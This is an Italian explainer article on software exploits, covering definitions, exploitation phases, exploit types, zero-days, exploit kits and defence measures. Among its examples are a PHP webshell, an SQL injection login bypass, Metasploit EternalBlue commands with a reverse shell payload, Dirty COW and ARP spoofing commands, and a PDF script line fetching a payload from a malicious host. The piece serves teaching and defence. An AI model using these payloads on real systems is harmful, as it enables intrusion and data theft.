Personalizza le preferenze di consenso

Utilizziamo i cookie per aiutarti a navigare in maniera efficiente e a svolgere determinate funzioni. Troverai informazioni dettagliate su tutti i cookie sotto ogni categoria di consensi sottostanti. I cookie categorizzatati come “Necessari” vengono memorizzati sul tuo browser in quanto essenziali per consentire le funzionalità di base del sito.... 

Sempre attivi

I cookie necessari sono fondamentali per le funzioni di base del sito Web e il sito Web non funzionerà nel modo previsto senza di essi. Questi cookie non memorizzano dati identificativi personali.

I cookie funzionali aiutano a svolgere determinate funzionalità come la condivisione del contenuto del sito Web su piattaforme di social media, la raccolta di feedback e altre funzionalità di terze parti.

I cookie analitici vengono utilizzati per comprendere come i visitatori interagiscono con il sito Web. Questi cookie aiutano a fornire informazioni sulle metriche di numero di visitatori, frequenza di rimbalzo, fonte di traffico, ecc.

I cookie per le prestazioni vengono utilizzati per comprendere e analizzare gli indici di prestazione chiave del sito Web che aiutano a fornire ai visitatori un'esperienza utente migliore.

Nessun cookie da visualizzare.

I cookie pubblicitari vengono utilizzati per fornire ai visitatori annunci pubblicitari personalizzati in base alle pagine visitate in precedenza e per analizzare l'efficacia della campagna pubblicitaria.

Nessun cookie da visualizzare.

Loading...

Approfondimento Tech

Exploit informatici: guida alla difesa

Scopri che cos'è un exploit, le sue tipologie, il significato e come difendersi dagli attacchi informatici basati su exploit.

Guida alla difesa

Indice dei contenuti

  • Che cos’è un exploit
  • A cosa servono gli exploit
  • Exploit e vulnerabilità non sono la stessa cosa
  • Le fasi dell’exploitation
  • Exploit: le diverse tipologie
  • Cosa sono gli exploit zero day
  • Classificazione degli exploit
  • Cosa sono gli exploit kit
  • Come difendersi da un exploit

Uno dei termini più frequentemente utilizzati ma anche più fraintesi è exploit. Se ti stai chiedendo che cos’è un exploit, a cosa serve o come si distingue da una semplice vulnerabilità, sei nel posto giusto.

In questo articolo esploreremo nel dettaglio il significato di exploit, le sue varie forme (tra cui gli exploit kit e gli 0day exploit), e vedremo in che modo gli attaccanti li usano per compromettere sistemi informatici.

Infine, analizzeremo le migliori strategie per difendersi da un exploit e proteggere i tuoi sistemi da questo insidioso veicolo di attacco.

Che cos’è un exploit

Nel campo dell’informatica e in particolare della cyber security, il termine exploit si riferisce a una tecnica, un codice o uno script pensato per sfruttare una vulnerabilità presente in un software, un hardware, un sistema operativo o anche in una configurazione.

La finalità di un exploit è quella di trarne un vantaggio malevolo, come ad esempio l’accesso non autorizzato, l’esecuzione di codice arbitrario o l’interruzione di un servizio (DoS – Denial of Service).

Origine del termine

Il termine “exploit” deriva dall’inglese “to exploit”, cioè sfruttare, e viene usato anche in senso positivo in altri contesti. Ad esempio, in italiano si può trovare il termine “exploit” nel senso di impresa eccezionale o prestazione straordinaria (“exploit sportivo”).

Tuttavia, in ambito informatico, l’accezione è nettamente negativa: si tratta di un abuso intenzionale di un difetto per violare la sicurezza.

Exploit e vulnerabilità: un binomio inscindibile

È importante capire che l’exploit è solo il mezzo, mentre il bersaglio è la vulnerabilità. Una vulnerabilità è un punto debole, come ad esempio una cattiva gestione della memoria, una configurazione errata o un errore di programmazione.

L’exploit si inserisce in quel punto debole e lo “manipola” per ottenere un risultato.

Esempio pratico: exploit di tipo buffer overflow in Python

Uno degli exploit classici nei sistemi è il buffer overflow, cioè un sovraccarico di memoria in un buffer che permette di sovrascrivere porzioni della memoria adiacente, fino a eseguire codice arbitrario.

Ecco un esempio molto semplificato di exploit buffer overflow per fini dimostrativi:

# Codice dimostrativo per exploit buffer overflow (solo esempio teorico)

import socket

# Indirizzo IP e porta del server vulnerabile

target_ip = "192.168.1.100"

target_port = 9999

# Costruzione dell'exploit

payload = b"A" * 1024  # Riempie il buffer

payload += b"\x90" * 16  # NOP sled

payload += b"\xcc" * 4   # Istruzione di interrupt (in un exploit reale, qui ci sarebbe il shellcode)

# Invio del pacchetto

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

    s.connect((target_ip, target_port))

    s.send(payload)

Nel caso reale, il blocco b”\xcc” * 4 verrebbe sostituito da shellcode – codice macchina in grado di aprire una shell remota, eseguire comandi, installare backdoor, ecc. In ambito etico, queste tecniche vengono simulate nei penetration test per verificare la robustezza del sistema.

Exploit in ambienti reali

In ambiente aziendale o governativo, gli exploit vengono utilizzati in modo sistematizzato da gruppi APT (Advanced Persistent Threat), hacker finanziati da stati o da gruppi organizzati. L’utilizzo degli 0day exploit (per vulnerabilità sconosciute e ancora non corrette) può mettere a rischio intere infrastrutture critiche.

Al tempo stesso, ricercatori di sicurezza etica (white hat) analizzano le vulnerabilità e creano exploit proof-of-concept (PoC) per mostrare la gravità del problema al vendor, spesso seguendo la responsible disclosure.

A cosa servono gli exploit

In cyber security, gli exploit rappresentano lo strumento attraverso cui una vulnerabilità teorica si trasforma in una minaccia concreta.

Senza un exploit, una vulnerabilità resta un errore, un difetto in attesa di essere corretto. Con un exploit, invece, quella stessa debolezza diventa un punto di ingresso reale per un attacco informatico.

Gli exploit sono quindi elementi tecnici operativi: pezzi di codice, script, pacchetti o comandi che consentono di “forzare” il normale comportamento di un sistema sfruttandone le lacune. Ma a cosa servono esattamente?

Funzioni principali di un exploit

Gli exploit vengono utilizzati per:

  • Ottenere accesso remoto (RCE)
    Permettono a un attaccante di eseguire comandi da remoto, aggirando i normali controlli di accesso. Ad esempio, un exploit può aprire una reverse shell che consente di interagire con il sistema compromesso come se si fosse fisicamente davanti al terminale.
  • Installare malware o ransomware
    Molti exploit servono da vettore iniziale per l’installazione di payload malevoli, inclusi trojan, spyware e ransomware che cifrano i dati e chiedono un riscatto.
  • Esfiltrare dati sensibili
    Tramite un exploit, un attaccante può leggere file riservati, accedere a database e copiare informazioni personali, credenziali o documenti aziendali.
  • Muoversi lateralmente nella rete
    Dopo il compromesso iniziale, un exploit può essere usato per spostarsi da un sistema all’altro, cercando privilegi superiori o server più strategici. Questo è tipico degli attacchi APT.
  • Mantenere persistenza
    Sfruttando un exploit, l’attaccante può installare una backdoor che gli consente di rientrare nel sistema anche dopo un riavvio o dopo che le credenziali sono state modificate.

Esempio pratico: exploit per Remote Code Execution

Supponiamo che un’applicazione web abbia una vulnerabilità in un modulo di upload file, che consente di caricare script PHP malevoli. L’exploit in questo caso sarà un file .php preparato ad hoc:

<?php

// exploit.php

// Simple webshell to execute commands remotely

if(isset($_GET['cmd'])) {

  system($_GET['cmd']);

}

?>

Caricando questo file e visitando l’URL http://target.com/uploads/exploit.php?cmd=whoami, l’attaccante potrà eseguire comandi a distanza, ottenendo pieno controllo della macchina.

Exploit: non solo strumenti criminali

Nonostante gli exploit siano ampiamente usati da cyber criminali, APT o hacker black hat, è importante sottolineare che hanno anche applicazioni legittime:

  • Nei penetration test, i white hat usano exploit per simulare attacchi reali e testare la resilienza dei sistemi.
  • Nei bug bounty, gli exploit proof-of-concept (PoC) vengono presentati per dimostrare vulnerabilità in modo responsabile.
  • Nei CTF (Capture The Flag), gli exploit sono utilizzati per risolvere sfide in ambienti isolati e sicuri.

Exploit pubblici vs privati

Gli exploit si dividono tra:

  • Pubblici
    Spesso presenti su siti come exploit.in o Exploit-DB, sono disponibili a chiunque. Anche script kiddies con poca esperienza possono usarli, con il rischio che le difese non siano pronte a bloccarli.
  • Privati o custom
    Creati su misura per target specifici. Possono richiedere settimane o mesi di studio, ma sono molto più pericolosi, soprattutto se 0day (cioè non ancora noti al pubblico).

Exploit e vulnerabilità non sono la stessa cosa

Nel linguaggio comune — e purtroppo anche in contesti tecnici — si tende spesso a confondere exploit e vulnerabilità, utilizzandoli come se fossero sinonimi.

In realtà, si tratta di due concetti distinti, anche se strettamente connessi e co-dipendenti all’interno del ciclo di vita di un attacco informatico.

Differenza concettuale

  • Vulnerabilità
    Il problema, ovvero un difetto di progettazione, un errore di codice, una configurazione errata o un comportamento imprevisto in un sistema software o hardware.
    Esempi classici sono: buffer overflow, SQL injection, XSS, directory traversal, ecc.
  • Exploit
    Lo strumento, ovvero il codice, lo script o la tecnica che consente a un attaccante di sfruttare quella vulnerabilità per ottenere un risultato malevolo.

Analogia concreta

Immaginiamo un sistema informatico come una casa con una porta d’ingresso:

  • Se la serratura della porta è difettosa e può essere forzata facilmente, questa è la vulnerabilità.
  • Il grimaldello usato dal ladro per entrare è l’exploit.

Un altro esempio: se un’applicazione web accetta input utente senza sanificazione e permette di eseguire codice SQL arbitrario, la vulnerabilità è una SQL Injection, mentre il payload SQL usato per accedere a dati riservati è l’exploit.

Esempio pratico con codice (SQL Injection)

Supponiamo che un sito web abbia un campo di login vulnerabile:

// Codice PHP vulnerabile

$user = $_POST['username'];

$pass = $_POST['password'];

$query = "SELECT * FROM utenti WHERE username = '$user' AND password = '$pass'";

Vulnerabilità
La query SQL non è protetta da prepared statement o sanitizzazione.

Exploit
Un attaccante può inserire questo input:

' OR '1'='1

che trasforma la query in:

SELECT * FROM utenti WHERE username = '' OR '1'='1' AND password = ''

Questo consente l’accesso senza conoscere le credenziali.

Importanza della distinzione

Capire la distinzione tra vulnerabilità ed exploit è essenziale:

  • Perché scoprire una vulnerabilità non significa automaticamente poterla sfruttare.
  • Perché scrivere un exploit per una vulnerabilità può richiedere grande competenza, debugging, reverse engineering e conoscenza del sistema bersaglio.
  • Perché nei penetration test si devono valutare sia la presenza di vulnerabilità sia la realistica possibilità di exploitability.

Le fasi dell’exploitation

Il processo di exploitation non è un’azione isolata, ma rappresenta una fase cruciale all’interno del ciclo di un attacco informatico.

Che si tratti di un attacco malevolo o di un penetration test eseguito da un ethical hacker, le fasi sono sostanzialmente le stesse, e seguono una logica ben definita.

Comprenderle è fondamentale sia per chi si occupa di difesa, sia per chi lavora nel campo dell’offensive security.

1. Ricognizione (Reconnaissance)

In questa fase, l’attaccante raccoglie tutte le informazioni possibili sul bersaglio: IP pubblici, domini, sottodomini, sistemi operativi, tecnologie web, porte aperte, servizi attivi.

Strumenti utilizzati:

  • whois, nslookup, theHarvester, Recon-ng
  • Nmap per la scansione di porte e servizi
  • Shodan per trovare dispositivi esposti

Esempio

nmap -sS -p- -T4 192.168.1.1

Questa scansione TCP identifica tutte le porte aperte sul bersaglio.

2. Identificazione della vulnerabilità

Una volta ottenute le informazioni di base, si passa alla fase di vulnerability assessment, ovvero la ricerca attiva di vulnerabilità note o zero-day all’interno dei servizi e software rilevati.

Strumenti utilizzati:

  • Nikto, OpenVAS, Nessus
  • Burp Suite per applicazioni web
  • Ricerca in database come exploit.in, Exploit-DB

Esempio
Un sito con PHP 5.6.4 potrebbe essere vulnerabile a Remote Code Execution. L’attaccante cerca un exploit compatibile su Exploit-DB:

searchsploit php 5.6

3. Sviluppo o selezione dell’exploit

In questa fase l’attaccante:

  • Scrive da zero un exploit (se si tratta di una vulnerabilità non documentata);
  • Oppure riutilizza un exploit già esistente da database pubblici;
  • Oppure lo adatta al contesto specifico.

Strumenti utilizzati:

  • Metasploit Framework
  • Script Python, Ruby, PowerShell
  • Exploit in C o assembly per vulnerabilità low-level

Esempio

msfconsole

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.1.100

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run

In questo caso, si sfrutta la vulnerabilità EternalBlue per ottenere l’accesso a un host Windows.

4. Esecuzione dell’exploit

È il momento cruciale: l’exploit viene lanciato contro il bersaglio. Se ha successo, l’attaccante ottiene l’accesso iniziale (shell, reverse shell, utente compromesso, ecc.).

In ambienti reali, questa fase deve essere discreta e silenziosa, per evitare il rilevamento da parte di IDS/IPS o antivirus.

Esempio

Un exploit web può essere lanciato anche con comandi curl:

curl -X POST http://victim.com/login.php -d "user=admin' OR '1'='1&pass="

5. Post-exploitation

Una volta dentro il sistema, l’attaccante si dedica ad azioni strategiche:

  • Escalation dei privilegi (da utente a root)
  • Dumping di credenziali (con strumenti come Mimikatz)
  • Esfiltrazione di dati sensibili
  • Installazione di backdoor o software di persistenza
  • Movimenti laterali nella rete aziendale

Strumenti comuni:

  • Mimikatz, PowerShell Empire, Cobalt Strike, BloodHound

In contesto etico

Queste stesse fasi vengono simulate legalmente dagli ethical hacker durante i penetration test, con l’obiettivo di evidenziare vulnerabilità, verificarne la reale exploitabilità e rafforzare la sicurezza dell’organizzazione.

Exploit: le diverse tipologie

Gli exploit informatici non sono tutti uguali. Possono essere classificati secondo diversi criteri, tra cui il livello di accesso richiesto, il tipo di applicazione colpita, il contesto di esecuzione e il tipo di comunicazione che sfruttano.

Conoscere le diverse tipologie di exploit è fondamentale per riconoscere le minacce, valutarne il rischio e attuare difese efficaci.

Di seguito, analizziamo le categorie più diffuse, con esempi concreti e reali.

Exploit locali (local exploit)

Un local exploit richiede un accesso preliminare al sistema, anche se con privilegi minimi. Viene spesso utilizzato per eseguire un’escalation dei privilegi, passando ad esempio da un utente normale a root (Linux) o Administrator(Windows).

Esempio pratico
Un sistema Linux con un kernel vulnerabile a Dirty COW (CVE-2016-5195) consente a un utente locale di ottenere privilegi root modificando file a cui non dovrebbe avere accesso.

gcc dirtycow.c -o cow

./cow

Difesa
Mantenere il kernel aggiornato e utilizzare sistemi di access control (come AppArmor o SELinux).

Exploit remoti (remote exploit)

Un remote exploit consente a un attaccante di compromettere un sistema a distanza, senza avere un accesso iniziale. Sono particolarmente critici se la vulnerabilità riguarda un servizio esposto su Internet (web server, RDP, FTP, ecc.).

Esempio pratico
La famigerata vulnerabilità MS17-010 (EternalBlue) in SMBv1, utilizzata da WannaCry, permetteva l’esecuzione di codice remoto su macchine Windows non aggiornate.

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.1.105

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run

Difesa
Disattivare protocolli obsoleti, limitare l’esposizione pubblica dei servizi e applicare patch tempestive.

Exploit client-side

Questi exploit sfruttano vulnerabilità nei software lato client, come browser web, lettori PDF, client email, player multimediali.

Di solito vengono attivati quando l’utente interagisce con un file malevolo (PDF, Word, .swf) o clicca su un link infetto.

Esempio pratico
Un PDF che contiene JavaScript malevolo sfrutta una vulnerabilità in Adobe Reader per eseguire codice sulla macchina dell’utente:

// all'interno del PDF

app.launchURL("http://malicious-site.com/exec_payload.js", true);

Difesa
Aggiornare costantemente i client, disattivare l’esecuzione automatica di contenuti attivi, usare sandbox come quella di Chrome o Adobe Protected Mode.

Exploit di rete (network exploit)

Agiscono a livello di protocolli di rete, sfruttando debolezze nella gestione di pacchetti, handshake o parsing dei dati. Possono causare DoS, intercettazioni (MITM), o l’iniezione di codice.

Esempio pratico
Un exploit contro il protocollo SMBv1 può mandare in crash un host Windows remoto con un pacchetto costruito ad hoc (DoS).

Altro esempio: un attacco ARP spoofing su una LAN locale può intercettare il traffico:

bash

CopiaModifica

arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

Difesa
Segmentazione della rete, utilizzo di firewall, IDS/IPS, autenticazione nei protocolli e crittografia end-to-end.

Riepilogo delle tipologie

TipologiaAccesso richiestoRischioEsempio
Local ExploitAccesso utenteMedioDirty COW (Linux privilege esc)
Remote ExploitNessun accessoAltoEternalBlue (SMB)
Client-sideInterazione utenteAltoPDF con JavaScript malicioso
Network ExploitNessun accessoVariabileDoS su protocollo SMB
Classificazione degli exploit

Cosa sono gli exploit zero day

Gli 0day exploit sono i più temuti nel mondo della sicurezza informatica. Si tratta di exploit che sfruttano vulnerabilità sconosciute al vendor, e quindi non ancora corrette da una patch.

Il termine “zero day” deriva dal fatto che, dal momento in cui la vulnerabilità è scoperta, il produttore ha “zero giorni” per correggerla prima che venga utilizzata malevolmente.

Questi exploit sono spesso venduti nel dark web o utilizzati da gruppi APT (Advanced Persistent Threats) per attacchi mirati ad alto impatto. Un esempio celebre è Stuxnet, che utilizzava diversi 0day exploit per colpire le centrali nucleari iraniane.

Classificazione degli exploit

Gli exploit informatici non si classificano solo in base alla modalità di attacco (locale, remoto, client-side), ma anche in base alla loro origine, diffusione pubblica, stato di aggiornamento e livello di sofisticazione.

Questa classificazione è particolarmente utile per i professionisti della sicurezza, i penetration tester e gli analisti SOC, che devono valutare ogni exploit in termini di criticità e rischio operativo.

Vediamo le principali classi di exploit secondo questa logica.

Exploit pubblici (Public Exploits)

Gli exploit pubblici sono quelli accessibili a chiunque, spesso documentati e condivisi su:

  • Exploit-DB (exploit-db.com)
  • GitHub (repository di PoC)
  • exploit.in database

Questi exploit possono essere usati da ethical hacker, ricercatori, ma anche da attori malevoli (inclusi script kiddies), proprio perché non richiedono competenze avanzate.

Esempio
L’exploit dirtycow.c per Linux (CVE-2016-5195) è stato reso pubblico e disponibile su GitHub. Basta compilarlo e lanciarlo per ottenere privilegi root.

Difesa
Mantenere i sistemi aggiornati, monitorare l’uso di exploit noti con strumenti EDR e IDS.

Exploit privati (Private Exploits)

Si tratta di exploit non rilasciati pubblicamente, sviluppati da:

  • Gruppi APT o criminali
  • Ricercatori indipendenti
  • Team interni di Red Team o bug bounty hunter

Vengono tenuti segreti per diversi motivi: uso interno, vendita nel dark web, o in attesa di divulgazione responsabile (coordinated disclosure).

Esempio
Prima che venisse scoperto pubblicamente, EternalBlue era un exploit zero day privato, usato dalla NSA e successivamente trafugato dal gruppo Shadow Brokers.

Difesa
Difficili da rilevare, è essenziale usare approcci comportamentali (EDR, XDR) e simulazioni di attacco (Purple Teaming).

Exploit weaponizzati (Weaponized Exploits)

Un exploit weaponizzato è stato integrato all’interno di un malware, ransomware, trojan o di una toolchain automatizzata (come exploit kit, rootkit o framework offensivi). La sua funzione è operativa: non dimostra una vulnerabilità, ma la sfrutta direttamente per compromettere il sistema.

Esempio
L’exploit EternalBlue è stato weaponizzato in WannaCry e NotPetya, causando danni globali.

Difesa
Oltre alla patch, servono soluzioni proattive come firewall di nuova generazione, segmentazione e isolamento di rete.

Exploit proof-of-concept (PoC)

Un exploit PoC è una dimostrazione tecnica che mostra come una vulnerabilità possa essere sfruttata, senza necessariamente causare danni. I PoC sono spesso pubblicati da ricercatori di sicurezza, team bug bounty o durante conferenze come Black Hat e DEFCON.

Esempio
Un PoC per una vulnerabilità XSS potrebbe consistere in un semplice script JavaScript come:

 <script>alert('XSS')</script>

Difesa
Anche se innocui, i PoC segnalano vulnerabilità reali e vanno presi seriamente.

Exploit di tipo N-day (N-day Exploits)

Sono exploit che sfruttano vulnerabilità note, rese pubbliche da n giorni, da cui il nome. Anche se teoricamente “vecchie”, queste vulnerabilità rimangono attive in sistemi non aggiornati.

Esempio
L’exploit per Apache Struts usato in Equifax (CVE-2017-5638) era un N-day: il vendor aveva già rilasciato la patch, ma il sistema non era aggiornato.

Difesa
Gestione delle patch efficace, scansioni periodiche con strumenti come Nessus o Qualys.

Cosa sono gli exploit kit

Un exploit kit è una piattaforma software malevola, preconfezionata e spesso venduta o noleggiata nel dark web, che contiene una raccolta di exploit già pronti per essere lanciati contro le vittime.

A differenza degli exploit singoli, gli exploit kit sono strumenti completi e automatizzati, progettati per semplificare l’esecuzione di attacchi informatici, soprattutto su larga scala.

Obiettivo degli exploit kit

L’obiettivo di un exploit kit è compromettere automaticamente i dispositivi delle vittime che navigano su un sito web infetto, senza che l’utente debba cliccare nulla.

L’attacco è trasparente e silenzioso, sfrutta le vulnerabilità note nei browser, nei plugin o nel sistema operativo, e scarica malware in background (drive-by download).

Come funziona un exploit kit

  1. L’attaccante compromette un sito web o acquista spazio pubblicitario su una piattaforma malevola.
  2. Il codice del sito redireziona la vittima a un server di comando e controllo (C2) che ospita l’exploit kit.
  3. Il kit analizza il browser e il sistema operativo dell’utente con tecniche di fingerprinting.
  4. Se rileva una vulnerabilità, seleziona un exploit compatibile e lo esegue.
  5. Una volta sfruttata la falla, scarica ed esegue un payload, come un ransomware o un trojan.

Esempio
Un utente visita un sito legittimo che, tramite un iframe nascosto, carica una pagina con un Angler Exploit Kit. Il kit rileva che l’utente sta usando una vecchia versione di Flash e lancia l’exploit CVE-2015-5122 per ottenere RCE (Remote Code Execution), installando silenziosamente un malware bancario.

Exploit kit famosi

Negli anni, alcuni exploit kit sono diventati veri e propri strumenti “industriali” della criminalità informatica:

  • Angler Exploit Kit
    Molto attivo tra il 2014 e il 2016, sfruttava vulnerabilità 0day ed era famoso per la sua efficacia e evasione.
  • Neutrino
    Spesso usato per distribuire ransomware e trojan bancari.
  • RIG
    Uno dei più longevi, ancora attivo in campagne attuali.
  • Magnitude
    Noto per colpire Asia ed Europa con campagne massicce di ransomware.

Questi kit si aggiornano costantemente per includere nuovi exploit, rendendoli estremamente pericolosi soprattutto in ambienti non patchati.

Plugin vulnerabili comunemente sfruttati

Gli exploit kit storicamente si sono basati su plugin largamente diffusi ma spesso obsoleti o mal configurati, tra cui:

  • Adobe Flash
  • Java Runtime Environment (JRE)
  • Microsoft Silverlight
  • Adobe Reader
  • Internet Explorer

Anche se oggi molti di questi plugin sono stati disabilitati o ritirati, gli exploit kit continueranno ad adattarsi a nuove superfici d’attacco, come browser, driver, moduli di autenticazione e persino firmware.

Come difendersi da un exploit kit

  1. Aggiorna regolarmente browser, OS e plugin
  2. Usa browser moderni con sandbox e protezioni integrate
  3. Installa estensioni di sicurezza come NoScript, uBlock Origin
  4. Applica filtri DNS per bloccare server C2 noti
  5. Utilizza soluzioni EDR/AV con protezione in tempo reale

Molti attacchi basati su exploit kit possono essere bloccati semplicemente tenendo il software aggiornato: la loro efficacia dipende dalla presenza di vulnerabilità N-day ancora non patchate.

Come difendersi da un exploit

Gli exploit rappresentano una delle principali minacce per la sicurezza informatica. Poiché sfruttano vulnerabilità esistenti (spesso note), la migliore strategia è quella di prevenire il loro utilizzo, adottando misure tecniche, organizzative e comportamentali.

La difesa non può essere affidata a un solo strumento, ma deve essere multilivello, seguendo il principio della difesa in profondità (defense in depth).

Di seguito le misure più efficaci.

1. Patch e aggiornamenti regolari

Patch management è la prima e più importante linea di difesa. La maggior parte degli exploit — in particolare quelli N-day — agisce su vulnerabilità già note e risolte, ma non ancora corrette nei sistemi.

Cosa fare:

  • Automatizzare gli aggiornamenti di OS, browser, plugin, firmware.
  • Mantenere aggiornata anche la documentazione delle patch installate.
  • Usare strumenti come WSUS, SCCM, o Vulnerability Scanner (es. OpenVAS, Qualys) per identificare software obsoleto.

Esempio reale
L’attacco WannaCry sfruttava la falla SMB (MS17-010) per la quale era già disponibile una patch da due mesi.

2. Hardening dei sistemi

Hardening significa ridurre la superficie di attacco eliminando tutto ciò che non è strettamente necessario. Più il sistema è semplice e minimalista, meno opportunità ha un exploit di funzionare.

Azioni consigliate:

  • Disabilitare servizi inutili (es. Telnet, FTP, RDP non gestito).
  • Chiudere porte di rete non essenziali.
  • Impostare privilegi minimi per gli utenti.
  • Applicare Security Baseline standard (CIS, NIST).

Strumenti utili: Auditpol, AppArmor, Group Policy, SELinux.

3. IDS, IPS e firewall avanzati

I sistemi di rilevamento (IDS) e prevenzione (IPS) delle intrusioni aiutano a identificare exploit noti grazie a signature-based detection, o exploit sconosciuti tramite analisi comportamentale (heuristic/behavioral detection).

Protezione di rete:

  • Utilizza firewall di nuova generazione (NGFW) con ispezione profonda dei pacchetti.
  • Applica regole su traffico entrante/uscente, evitando l’accesso da IP sospetti.
  • Segmenta la rete per isolare aree critiche (es. VLAN per server, utenti, IoT).

Strumenti open source: Snort, Suricata, Zeek, pfSense.

4. Antivirus e soluzioni EDR

Gli antivirus tradizionali rilevano exploit conosciuti attraverso firme statiche, mentre le soluzioni EDR (Endpoint Detection and Response) rilevano attività sospette anche dopo l’exploit, tramite comportamento anomalo del sistema.

EDR avanzati includono:

  • Analisi in sandbox
  • Rilevamento di privilege escalation
  • Cattura della memoria RAM
  • Telemetria e correlazione eventi

Esempi commerciali: CrowdStrike, SentinelOne, Microsoft Defender for Endpoint, Sophos Intercept X.

5. Security awareness e formazione

Molti exploit — in particolare quelli client-side — necessitano di interazione dell’utente: aprire un file, cliccare un link, ignorare un warning.

Azioni fondamentali:

  • Formare regolarmente gli utenti contro phishing, allegati pericolosi, truffe sociali.
  • Simulare attacchi con campagne phishing controllate (es. con GoPhish).
  • Promuovere una cultura della sicurezza e del dubbio.

Ricorda: anche il miglior firewall è inutile se l’utente clicca su “Esegui comunque”.

6. Monitoraggio, logging e threat hunting

L’identificazione tempestiva di un attacco è fondamentale. Se un exploit è riuscito, si possono analizzare i log per scoprire movimenti anomali, escalation dei privilegi, backdoor.

Cosa fare:

  • Centralizzare i log (SIEM) e configurarli per alert in tempo reale.
  • Analizzare eventi come login falliti, modifiche a file di sistema, esecuzioni non autorizzate.
  • Avviare attività di threat hunting proattivo nei sistemi critici.

Strumenti utili: ELK Stack, Graylog, Splunk, Wazuh.


Domande e risposte

  1. Che cos’è un exploit in informatica?
    È un codice o uno script che sfrutta una vulnerabilità per compromettere un sistema.
  2. Exploit e vulnerabilità sono la stessa cosa?
    No, la vulnerabilità è il difetto, l’exploit è il mezzo che lo sfrutta.
  3. Cosa sono gli exploit zero day?
    Exploit che sfruttano vulnerabilità sconosciute ai produttori e quindi ancora non corrette.
  4. Cosa significa 0day exploit?
    È sinonimo di zero day exploit, una minaccia per la quale non esiste ancora patch.
  5. Cos’è un exploit kit?
    Un insieme di exploit pronti all’uso, spesso usato per infettare gli utenti da siti compromessi.
  6. Come si classificano gli exploit?
    In base alla disponibilità (pubblici, privati), al target (locale, remoto) e alla forma (PoC, weaponizzati).
  7. Come avviene un attacco con exploit?
    L’attaccante identifica una vulnerabilità, usa un exploit per entrare nel sistema e poi agisce.
  8. Dove si trovano exploit pubblici?
    Su database come Exploit-DB, GitHub, o il sito exploit.in.
  9. Come difendersi da un exploit?
    Con aggiornamenti, hardening, firewall, EDR, IDS/IPS e formazione degli utenti.
  10. Cos’è l’exploitation?
    È il processo tecnico mediante il quale un exploit viene applicato per ottenere un risultato malevolo.
To top